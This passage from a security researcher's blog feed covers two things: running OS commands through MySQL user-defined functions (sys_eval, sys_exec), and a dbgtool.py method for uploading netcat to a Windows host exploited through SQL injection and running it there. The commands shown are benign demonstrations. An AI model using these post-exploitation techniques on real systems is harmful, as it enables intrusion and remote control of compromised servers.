153);"&gt;+--------------------------------------------------+&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;| sys_eval('id')                                   |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;+--------------------------------------------------+&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;| &lt;span style="font-weight: bold;"&gt;uid=118(mysql) gid=128(mysql) groups=128(mysql)&lt;/span&gt;   |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;+--------------------------------------------------+&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;1 row in set (0.02 sec)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);font-family:courier new;" &gt;mysql&gt; SELECT sys_exec('touch /tmp/test_mysql');&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);font-family:courier new;" &gt;+-----------------------------------+&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);font-family:courier new;" &gt;| sys_exec('touch /tmp/test_mysql') |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);font-family:courier new;" &gt;+-----------------------------------+&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);font-family:courier new;" &gt;|                                 &lt;span style="font-weight: bold;"&gt;0&lt;/span&gt; | &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);font-family:courier new;" &gt;+-----------------------------------+&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);font-family:courier new;" &gt;1 row in set (0.02 sec)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;mysql&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Bye&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);font-family:courier new;" &gt;$ ls -l /tmp/test_mysql &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;font-family:courier new;" &gt;-rw-rw---- 1 mysql mysql 0 2009-01-16 23:18 /tmp/test_mysql&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;span style="font-weight: bold;font-family:trebuchet ms;" &gt;&lt;br /&gt;UPDATE&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; on January 25, 2009: &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://rpbouman.blogspot.com/"&gt;&lt;span class="Apple-style-span"&gt;Roland Bouman&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; uploaded to the &lt;/span&gt;&lt;a href="http://www.mysqludf.org/"&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span class="Apple-style-span"&gt;MySQL User-Defined Functions&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;a href="http://www.mysqludf.org/"&gt; repository&lt;/a&gt; my patched version of &lt;/span&gt;&lt;a style="font-family: courier new;" href="http://www.mysqludf.org/lib_mysqludf_sys/index.php"&gt;&lt;span class="Apple-style-span"&gt;lib_mysqludf_sy&lt;/span&gt;&lt;span class="Apple-style-span"&gt;s&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;. He also updated its &lt;a href="http://www.mysqludf.org/lib_mysqludf_sys/index.php#sys_eval"&gt;manual&lt;/a&gt;&lt;a href="http://www.mysqludf.org/lib_mysqludf_sys/index.php#sys_eval"&gt; page&lt;/a&gt;. You can now get version 0.0.3 also from his &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.mysqludf.org/lib_mysqludf_sys/lib_mysqludf_sys_0.0.3.tar.gz"&gt;repository&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;.&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://www.packetstormsecurity.org/"&gt;PacketStormSecurity.org&lt;/a&gt; and &lt;a href="http://milw0rm.com"&gt;milw0rm.com&lt;/a&gt; mirrored it &lt;a href="http://packetstormsecurity.org/libraries/lib_mysqludf_sys_0.0.3.tar.gz"&gt;here&lt;/a&gt; and &lt;a href="http://milw0rm.com/sploits/2009-lib_mysqludf_sys_0.0.3.tar.gz"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-7197850756019759587?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/3mecAT3aGIQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/7197850756019759587/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=7197850756019759587" title="8 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/7197850756019759587?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/7197850756019759587?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/3mecAT3aGIQ/command-execution-with-mysql-udf.html" title="Command execution with a MySQL UDF" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">8</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUYAQXY5eip7ImA9WxVREkw.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-797194275668339695</id><published>2009-01-12T23:51:00.012+01:00</published><updated>2009-01-17T18:25:40.822+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-17T18:25:40.822+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="debug" /><category scheme="http://www.blogger.com/atom/ns#" term="python" /><category scheme="http://www.blogger.com/atom/ns#" term="windows" /><title>Debug scripts from binaries</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;I could not find a MS-DOS executable binary file to ASCII &lt;a href="http://technet.microsoft.com/en-us/library/bb491040.aspx"&gt;debug&lt;/a&gt; script converter in Python then I wrote it. It's based on ToolCrypt &lt;a href="http://www.toolcrypt.org/tools/dbgtool/index.html"&gt;dbgtool.exe&lt;/a&gt; algorithm.&lt;br /&gt;&lt;br /&gt;You can find the tool on sqlmap SVN repository &lt;a href="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/dbgtool/dbgtool.py"&gt;here&lt;/a&gt; with its &lt;a href="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/dbgtool/README.txt"&gt;manual&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The script can be useful for instance when you've exploited a SQL injection flaw that allows you to write a text file on the back-end DBMS file system: you can upload the debug text script then execute the Windows native &lt;span style="font-family:courier new;"&gt;debug.exe&lt;/span&gt; on it to recreate the portable executable, rename it to end with &lt;span style="font-family:courier new;"&gt;.exe&lt;/span&gt; or &lt;span style="font-family:courier new;"&gt;.com&lt;/span&gt; and execute it.&lt;br /&gt;A very good example of this technique is implemented &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; in &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;a href="http://sqlninja.sourceforge.net/"&gt;sqlninja&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;by icesurfer: it uses Microsoft SQL Server built-in &lt;a href="http://msdn.microsoft.com/en-us/library/aa260689%28SQL.80%29.aspx"&gt;&lt;span style="font-family:courier new;"&gt;xp_cmdshell&lt;/span&gt;&lt;/a&gt; to write line by line the debug text script into the temporary folder on the back-end DBMS server file system, recreates the binary and remanes it.&lt;br /&gt;&lt;br /&gt;Going further you can also use a packer like &lt;a href="http://upx.sourceforge.net/"&gt;UPX&lt;/a&gt; to compress up to 50% the original portable executable before running &lt;span style="font-family:courier new;"&gt;dbgtool.py&lt;/span&gt; on it. This does not change anything in the behaviour of the recreated binary file, it can just save a lot of time during the debug script upload as well as space on the file system.&lt;br /&gt;&lt;br /&gt;Example with &lt;a href="http://en.wikipedia.org/wiki/Netcat"&gt;netcat&lt;/a&gt;:&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li  style="font-family:trebuchet ms;"&gt;Download and unpack &lt;a href="http://joncraton.org/files/nc111nt.zip"&gt;netcat for Windows&lt;/a&gt;&lt;/li&gt;&lt;li face="trebuchet ms"&gt;Install &lt;span style="font-family:trebuchet ms;"&gt;&lt;a href="http://upx.sourceforge.net/"&gt;UPX&lt;/a&gt;&lt;/span&gt; (on Debian like systems run: &lt;span style="font-family:courier new;"&gt;sudo apt-get install upx-nrv&lt;/span&gt;)&lt;/li&gt;&lt;li style="font-family: trebuchet ms;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Execute in the netcat folder this command: &lt;span style="font-family:courier new;"&gt;upx-nrv -9 nc.exe -o nc_upx.exe&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;SVN checkout/update &lt;a href="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/"&gt;sqlmap Subversion repository&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;Execute from &lt;span style="font-family:courier new;"&gt;REPOSITORY_PATH/extra/dbgtool/&lt;/span&gt; folder this command: &lt;span style="font-family:courier new;"&gt;python ./dbgtool.py -i NETCAT_PATH/nc_upx.exe -o &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;NETCAT_PATH/&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-family:courier new;"&gt;nc_upx.scr&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Upload &lt;span style="font-family:courier new;"&gt;nc_upx.scr&lt;/span&gt; to the exploited Windows system and follow &lt;span style="font-family:courier new;"&gt;dbgtool.py&lt;/span&gt; manual to create the portable executable on it and execute it&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-797194275668339695?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/-Wc3iYHfJdQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/797194275668339695/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=797194275668339695" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/797194275668339695?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/797194275668339695?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/-Wc3iYHfJdQ/debug-scripts-from-binaries.html" title="Debug scripts from binaries" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/01/debug-scripts-from-binaries.html</feedburner:origLink></entry></feed>
